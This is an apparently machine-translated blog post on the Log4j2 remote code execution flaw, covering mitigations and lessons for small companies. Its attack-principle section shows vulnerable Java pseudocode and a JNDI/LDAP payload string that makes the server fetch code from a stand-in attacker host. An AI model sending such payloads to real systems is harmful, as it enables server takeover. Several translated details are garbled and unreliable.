Уязвимость Log4j Epic, что можем сделать мы, небольшие компании?

Java задняя часть Безопасность

фон события

10 декабря я увидел, что кто-то в кругу друзей уже в одночасье дорабатывал и запускал систему. Сразу же я увидел официальный отчет, выпущенный отделом безопасности Alibaba Cloud Security и Tencent: «В Apache Log4j2 существует уязвимость удаленного выполнения кода", и уязвимость была обнародована.

Увидев актуальную новость, лезет сразу фильтрует лог-систему всех проектов, и log4j используемый старым проектом, logback используемый новым проектом, никаких хитростей. Потом я увидел соответствующие новости круга круга.

Как эпическое событие, исправления неотложных ошибок неизбежны. Как программист, если вы видите это сообщение и даже не можете проверить систему, вы действительно не квалифицированный программист.

Пережив этот инцидент, стоит не только наблюдать за весельем, но и думать о том, как избежать, предотвратить и подготовиться к таким ошибкам, как небольшая компания.

Описание уязвимости

Apache Log4j2 — отличная платформа ведения журналов Java, не уступающая Logback. Большое количество основных платформ с открытым исходным кодом используют Log4j2, например Apache Struts2, Apache Solr, Apache Druid, Apache Flink и т. д. Поэтому, если есть проблема с таким базовым фреймворком, последствия можно себе представить.

Информация об уязвимости:Версия Apache Log4j 2.15.0-rc1 имеет обход уязвимости и должна быть своевременно обновлена ​​до версии Apache Log4j 2.15.0-rc2.

Масштаб воздействия: 2.0

Последняя версия исправления:GitHub.com/Apache/Хихик…

Средство

Вариант 1: обновить версию и выпустить систему;

Вариант 2: Временное средство:

  • Изменить параметры JVM, установить-Dlog4j2.formatMsgNoLookups=true.
  • Добавить в путь к классам проекта, связанного с уязвимостьюlog4j2.component.propertiesФайл конфигурации и добавить элементы конфигурацииlog4j2.formatMsgNoLookups=true.
  • системная переменная окруженияFORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPSУстановите значение «истина».

принцип атаки

Пример псевдокода атаки:

import org.apache.log4j.Logger;
​
import java.io.*;
import java.sql.SQLException;
import java.util.*;
​
public class VulnerableLog4jExampleHandler implements HttpHandler {
​
  static Logger log = Logger.getLogger(log4jExample.class.getName());
​
  /**
   * 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录;
   */
  public void handle(HttpExchange he) throws IOException {
    // 获取user-agent信息
    String userAgent = he.getRequestHeader("user-agent");
    
    // 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。
    // 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
​
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Основные шаги атаки, основанные на приведенном выше коде:

  • Запросить соответствующую конечную точку HTTP (или интерфейс) и передать код атаки в информации запроса (например, передать ${jndi:ldap://attacker.com/a} в пользовательском агенте);
  • Когда сервер выполняет регистрацию через Log4j2, журнал содержит данные, основанные наJNDIиLDAPвредоносная полезная нагрузка${jndi:ldap://attacker.com/a}attacker.comявляется адресом, контролируемым злоумышленником.
  • Операция регистрации инициирует запрос на адрес, контролируемый злоумышленником.
  • Соответствующий запрос возвращает в ответ исполняемый вредоносный код, который внедряется в серверный процесс. Например возврат,Attacker.com/attack Из Лхасы….
  • Затем выполните скрипт для управления сервером.

Повторение экспертов по безопасности Tencent выглядит следующим образом:

log4j2漏洞复现

Что могут сделать программисты небольших компаний?

Уязвимости и решения подробно обсуждались выше, и проблема в основном решена. В крупных интернет-компаниях существуют специальные отделы эксплуатации и обслуживания безопасности, которые отслеживают и сканируют эти уязвимости. Но в небольших компаниях таких условий явно нет.

Так что нам делать? В то же время, как переживший событие, задумывались ли вы о каких-то других проблемах, отраженных в этом событии?

Во-первых, вы сразу узнали новости?

На крупном предприятии при обнаружении такой уязвимости отдел безопасности уведомляет об этом как можно скорее. Но как в малом бизнесе без отдела безопасности получить новости об уязвимости?

Например, в моей компании нет отдела безопасности, но я чуть ли не впервые узнаю об уязвимости и проводим системные расследования.

Как программист, если новости об уязвимостях уже давно есть, а вы ничего не знаете, то вам следует задуматься о качестве круга друзей и внимании к техническим точкам.

Способ получения информации из первых рук в кругу зависит и отражает ваше положение и текущую ситуацию в кругу общения или техническом кругу..

Во-вторых, это падает на глухие уши?

Многие друзья, возможно, тоже видели эту новость об уязвимости, но просто наблюдайте за ажиотажем, а дальше что делать, лазейки в системе есть, лазейки будут~

Если вы такой или ваша команда такая, вам действительно нужно задуматься о профессионализме.

Многие люди могут чувствовать, что они очень хорошие, чувствовать, что их недооценивают, чувствовать, что их заработная плата низка, и чувствовать, что с ними плохо обращаются... Затем, сравнивая свои реакции на этот инцидент, они в основном знают, были ли они плохо обращались.

В-третьих, как действовать в чрезвычайных ситуациях?

Такие аварийные ситуации — это и проверка работы системы, и обслуживания, и управления командой, и еще и симуляционное упражнение: все занимаются текущим бизнесом, а тут внезапный баг, который надо доработать, как поменять половину кода? Например, масштабный выпуск?

Первый, что мне делать, если я изменю половину кода? Если разработка кода вашей команды основана на мастере (стволе) для разработки и отправки кода, в ответ на такие чрезвычайные ситуации она неизбежно столкнется с половиной кода, который был изменен, отправлен и хотел опубликовать вместе, но не протестирован. сложная ситуация, чтобы покататься на тигре.

Поэтому управление кодом (как делать ветки, объединять ветки, выпускать ветку и основной код в разных средах) нужно начинать с ежедневного бита, а при возникновении ЧС не торопиться.

второй, что делать, если есть большое количество проектов, которые необходимо опубликовать? Конечно, самый старый способ — вручную выпускать систему за системой. Если микросервисов и приложений много, то это не только подвержено ошибкам, но и занимает много времени. Это напоминает нам о важности создания автоматизированного процесса выпуска.

В-четвертых, как найти уязвимости системы?

Компания с отделом безопасности будет регулярно сканировать систему на наличие уязвимостей, так может ли компания без отдела безопасности просто сидеть и ждать?

На самом деле, есть еще несколько способов найти некоторые лазейки в системе. Например, внимательно следите за использованием обновлений версии фреймворка, использованием сканирования уязвимостей, предоставляемого третьими лицами (например, сканированием безопасности серверов Alibaba Cloud), и общением с коллегами.

резюме

Любая уязвимость может быть фатальной для программной системы, и нам нужно быть осторожным. Обработка и реагирование на лазейки также являются отражением профессионализма практикующих.

И если вы можете узнать и думать о чрезвычайных ситуациях, вы будете расти быстрее, чем другие.

Профиль блоггера: автор технической книги SpringBoot Technology Insider, который любит изучать технологии и писать технические статьи.

Публичный аккаунт: «Program New Vision», публичный аккаунт блоггера, добро пожаловать на внимание~

Технический обмен: пожалуйста, свяжитесь с блогером WeChat ID: zhuan2quan

\